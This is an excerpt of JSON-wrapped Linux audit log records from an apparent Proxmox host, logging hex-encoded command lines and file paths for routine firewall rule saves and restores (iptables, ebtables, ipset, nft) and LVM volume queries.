{"@timestamp":1781965885345,"@rawstring":"node=pve type=PATH msg=audit(1781965885.345:67517): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.217:68245): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885345,"@rawstring":"node=pve type=PATH msg=audit(1781965885.345:67517): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.217:68244): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885341,"@rawstring":"node=pve type=PATH msg=audit(1781965885.341:67516): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055213,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.213:68243): proctitle=697073657400726573746F7265"} {"@timestamp":1781965885341,"@rawstring":"node=pve type=PATH msg=audit(1781965885.341:67516): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055205,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.205:68242): proctitle=\"ip6tables-save\""} {"@timestamp":1781965885338,"@rawstring":"node=pve type=PATH msg=audit(1781965885.338:67515): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055193,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.193:68241): proctitle=\"iptables-save\""} {"@timestamp":1781965885338,"@rawstring":"node=pve type=PATH msg=audit(1781965885.338:67515): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055189,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.189:68240): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965885337,"@rawstring":"node=pve type=PATH msg=audit(1781965885.337:67514): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.184:68239): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965885337,"@rawstring":"node=pve type=PATH msg=audit(1781965885.337:67514): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055182,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.182:68238): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965885337,"@rawstring":"node=pve type=PATH msg=audit(1781965885.337:67513): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055182,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.182:68237): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965885333,"@rawstring":"node=pve type=PATH msg=audit(1781965885.333:67512): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055176,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.176:68236): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965885333,"@rawstring":"node=pve type=PATH msg=audit(1781965885.333:67512): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055168,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.168:68235): proctitle=\"ip6tables-save\""} {"@timestamp":1781965885333,"@rawstring":"node=pve type=PATH msg=audit(1781965885.333:67512): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055159,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.159:68234): proctitle=\"iptables-save\""} {"@timestamp":1781965885324,"@rawstring":"node=pve type=PATH msg=audit(1781965885.324:67511): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055151,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.151:68233): proctitle=69707365740073617665"} {"@timestamp":1781965885324,"@rawstring":"node=pve type=PATH msg=audit(1781965885.324:67511): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055140,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.140:68232): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965885317,"@rawstring":"node=pve type=PATH msg=audit(1781965885.317:67510): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055128,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.128:68231): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965885317,"@rawstring":"node=pve type=PATH msg=audit(1781965885.317:67510): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966054093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966054.093:68230): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965885312,"@rawstring":"node=pve type=PATH msg=audit(1781965885.312:67509): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966054064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966054.064:68229): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965885312,"@rawstring":"node=pve type=PATH msg=audit(1781965885.312:67509): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966050209,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966050.209:68228): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885303,"@rawstring":"node=pve type=PATH msg=audit(1781965885.303:67508): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966050209,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966050.209:68227): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885303,"@rawstring":"node=pve type=PATH msg=audit(1781965885.303:67508): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966050209,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966050.209:68226): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885292,"@rawstring":"node=pve type=PATH msg=audit(1781965885.292:67507): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966050204,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966050.204:68225): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885292,"@rawstring":"node=pve type=PATH msg=audit(1781965885.292:67507): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966050204,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966050.204:68224): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965884649,"@rawstring":"node=pve type=PATH msg=audit(1781965884.649:67506): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966050203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966050.203:68223): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965884649,"@rawstring":"node=pve type=PATH msg=audit(1781965884.649:67506): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046115,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.115:68222): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965884649,"@rawstring":"node=pve type=PATH msg=audit(1781965884.649:67505): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046109,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.109:68221): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965884649,"@rawstring":"node=pve type=PATH msg=audit(1781965884.649:67504): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046109,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.109:68220): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965884641,"@rawstring":"node=pve type=PATH msg=audit(1781965884.641:67503): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.108:68219): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965884641,"@rawstring":"node=pve type=PATH msg=audit(1781965884.641:67503): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046101,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.101:68218): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965884641,"@rawstring":"node=pve type=PATH msg=audit(1781965884.641:67502): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.093:68217): proctitle=\"ip6tables-save\""} {"@timestamp":1781965884641,"@rawstring":"node=pve type=PATH msg=audit(1781965884.641:67502): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046084,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.084:68216): proctitle=\"iptables-save\""} {"@timestamp":1781965884641,"@rawstring":"node=pve type=PATH msg=audit(1781965884.641:67501): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.078:68215): proctitle=\"ip6tables-save\""} {"@timestamp":1781965884641,"@rawstring":"node=pve type=PATH msg=audit(1781965884.641:67500): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046068,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.068:68214): proctitle=\"iptables-save\""} {"@timestamp":1781965884604,"@rawstring":"node=pve type=PATH msg=audit(1781965884.604:67499): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.064:68213): proctitle=\"ebtables-restore\""} {"@timestamp":1781965884604,"@rawstring":"node=pve type=PATH msg=audit(1781965884.604:67499): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046062,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.062:68212): proctitle=\"ebtables-restore\""} {"@timestamp":1781965879634,"@rawstring":"node=pve type=PATH msg=audit(1781965879.634:67498): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046055,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.055:68211): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965879634,"@rawstring":"node=pve type=PATH msg=audit(1781965879.634:67498): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.048:68210): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965879634,"@rawstring":"node=pve type=PATH msg=audit(1781965879.634:67497): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046040,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.040:68209): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965879634,"@rawstring":"node=pve type=PATH msg=audit(1781965879.634:67496): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.027:68208): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965879628,"@rawstring":"node=pve type=PATH msg=audit(1781965879.628:67495): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.016:68207): proctitle=697073657400726573746F7265"} {"@timestamp":1781965879628,"@rawstring":"node=pve type=PATH msg=audit(1781965879.628:67495): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.008:68206): proctitle=\"ip6tables-save\""} {"@timestamp":1781965879628,"@rawstring":"node=pve type=PATH msg=audit(1781965879.628:67494): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966046000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966046.000:68205): proctitle=\"iptables-save\""} {"@timestamp":1781965879628,"@rawstring":"node=pve type=PATH msg=audit(1781965879.628:67493): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045994,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.994:68204): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965875281,"@rawstring":"node=pve type=PATH msg=audit(1781965875.281:67492): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045987,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.987:68203): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965875281,"@rawstring":"node=pve type=PATH msg=audit(1781965875.281:67492): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045986,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.986:68202): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965875277,"@rawstring":"node=pve type=PATH msg=audit(1781965875.277:67491): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045986,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.986:68201): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965875277,"@rawstring":"node=pve type=PATH msg=audit(1781965875.277:67491): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.981:68200): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965875276,"@rawstring":"node=pve type=PATH msg=audit(1781965875.276:67490): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045972,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.972:68199): proctitle=\"ip6tables-save\""} {"@timestamp":1781965875276,"@rawstring":"node=pve type=PATH msg=audit(1781965875.276:67490): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.964:68198): proctitle=\"iptables-save\""} {"@timestamp":1781965875276,"@rawstring":"node=pve type=PATH msg=audit(1781965875.276:67489): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.957:68197): proctitle=69707365740073617665"} {"@timestamp":1781965875271,"@rawstring":"node=pve type=PATH msg=audit(1781965875.271:67488): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045946,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.946:68196): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965875271,"@rawstring":"node=pve type=PATH msg=audit(1781965875.271:67488): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.936:68195): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965875271,"@rawstring":"node=pve type=PATH msg=audit(1781965875.271:67488): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045195,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.195:68194): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875264,"@rawstring":"node=pve type=PATH msg=audit(1781965875.264:67487): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045193,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.193:68193): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875264,"@rawstring":"node=pve type=PATH msg=audit(1781965875.264:67487): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045193,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.193:68192): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875255,"@rawstring":"node=pve type=PATH msg=audit(1781965875.255:67486): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045187,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.187:68191): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875255,"@rawstring":"node=pve type=PATH msg=audit(1781965875.255:67486): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045187,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.187:68190): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875248,"@rawstring":"node=pve type=PATH msg=audit(1781965875.248:67485): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966045187,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966045.187:68189): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875248,"@rawstring":"node=pve type=PATH msg=audit(1781965875.248:67485): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966044949,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966044.949:68188): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965875241,"@rawstring":"node=pve type=PATH msg=audit(1781965875.241:67484): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966044927,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966044.927:68187): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965875241,"@rawstring":"node=pve type=PATH msg=audit(1781965875.241:67484): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966040179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966040.179:68186): 